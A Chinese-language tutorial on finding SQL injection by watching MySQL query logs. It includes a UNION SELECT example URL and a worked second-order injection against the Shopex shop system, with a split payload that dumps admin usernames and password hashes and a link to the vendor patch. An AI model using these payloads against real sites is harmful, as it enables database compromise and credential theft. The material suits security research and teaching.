黑盒審計之注入漏洞挖掘思路
一、注入漏洞簡介
注入漏洞是web應用中最常見的安全漏洞之一，由于一些程序沒有過濾用戶的輸入，攻擊者通過向服務器提交惡意的SQL查詢語句，應用程序接收后錯誤的將攻擊者的輸入作為原始SQL查詢語句的一部分執行，導致改變了程序原始的SQL查詢邏輯，額外的執行了攻擊者構造的SQL查詢語句，從而導致注入漏洞的產生。
攻擊者通過SQL注入可以從數據庫獲取敏感信息，或者利用數據庫的特性執行添加用戶，導出文件等一系列惡意操作。常見的建站系統出現SQL注入漏洞風險概率是非常高的，而本文就SQL注入漏洞的挖掘方法和大家分享交流，其他web安全漏洞暫不做探討。
二、漏洞挖掘思路
我們知道在源碼審計中這樣的SQL注入漏洞很容易被發現，但是對于我們這樣不會代碼審計又想要挖漏洞的小菜來說該怎么辦?那就要講究方法了，這里和大家分享下我平時挖掘漏洞的一些思路。
首先一個好的測試環境很重要，這樣我們可以在短時間內準確的找出注入的位置。在挖注入漏洞之前我們開啟MySQL查詢日志功能，因為有沒有注入的發生，日志里面都可以最直觀的看到。
然后用某個文本查看軟件看日志文件打開網站程序里面執行的SQL(我這里用的是Bare Tail)
接著就是找輸入點了，這個是重點 (這個過程也要仔細觀察mysql查詢日志)。
有些輸入點信息，程序沒有過濾直接查詢數據庫，就造成了注入，
例如，我GET提交:http://localhost/index2.php?id=1a
在監控的MYSQL日志中跟隨1a，此處出現id=1a，可以看出該處未作處理，
并且是一個整型變量，且在單引號外面，
那么我們提交一下URL即可注入，獲取數據任意信息。http://localhost/index2.php?id=1%20union%20select%20user%28%29%20from%20user
實際的提交需要根據數據庫中查詢的語句來構造。
還有一種情況輸入點的信息保存到數據庫中，或者服務器的session中二次讀取時未處理也可導致注入，這種二次注入很多都是不受單引號影響，所以相對來說好利用，危害也是非常大，在mysql日志中跟隨輸入點的信息，這時一定要仔細調試，一旦出現該信息，我們可以看出是否可利用，根據相關情況構造注入語句。
三、Shopex漏洞實例
以shopex漏洞挖掘為例,shopex為部分源碼加密,解密較為繁瑣，涉及文件太多，進行代碼審計需要耗費很多時間，然而利用上面的方法即可輕松找出漏洞。
打開網站，登錄后我們隨便來到一個產品頁面，點擊收藏該產品的時候，查看post的信息，其中的75是我們產品的ID，該處也是個輸入點。
我們將其改為74a在提交一次試試，跟隨SQL日志，可以看到其執行的語句為。
可以看到該處是沒有經過過濾的，74a已經成功寫入數據庫了，如果二次取出時也沒有過濾將造成注入，我們再來到會員中心頁面，該處會在正常操作下顯示我們收藏商品。
此時查看數據庫執行日志發現74a已經出現了，由此可以判斷該處存在二次注入。
由于這里是組合而成的，我們構造好注入語句然后拆分提交，即可繞過首頁的過濾
http://localhost/index.php?member-SQL-ajaxAddFav.html
我們將上面的SQL替換成以下信息，分三次提交：
0)/**/union/** **/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/** **/from sdb_operatorslimit 1%23
來到會員中心頁面在產品收藏處可以看到管理員信息。
觀察數據庫日志可以看到此時執行的SQL語句為
Query SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages as aGimage on aGoods.image_default=aGimage.gimage_id WHEREaGoods.goods_id IN (0)/**/union/**,**/select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**,**/fromsdb_operators limit 1#) LIMIT 0, 10
補丁地址：http://bbs.shopex.cn/read.php?tid-308423.html
四、總結
這個半黑盒測試的流程是：
開啟查詢日志------查找輸入點-------跟隨輸入信息--------是否可利用-------構造注入語句
此過程中的重點就是找輸入點和跟隨輸入信息。
輸入點是我們實施注入的入口點，我們必須有效控制這些才能實現注入，這些輸入點可以包含其中一些：
1)表單提交，主要是POST請求，也包括GET請求。
2)URL參數提交，主要為GET請求參數。
3)Cookie參數提交。
4)HTTP請求頭部的一些可修改的值，比如Referer、User_Agent等。
5)一些邊緣的輸入點，比如.jpg文件的一些文件信息等。
有些程序采用了一些錯誤處理，就算SQL查詢語句出錯了也是沒有任何報錯的，這個時候我們只能通過監視SQL查詢日志來判斷了，一旦有注入漏洞的產生這里將是最先看到。
熟練運用該方法基本可以找到程序中所有的注入漏洞，且不需要太懂代碼，要得只是耐心和細心
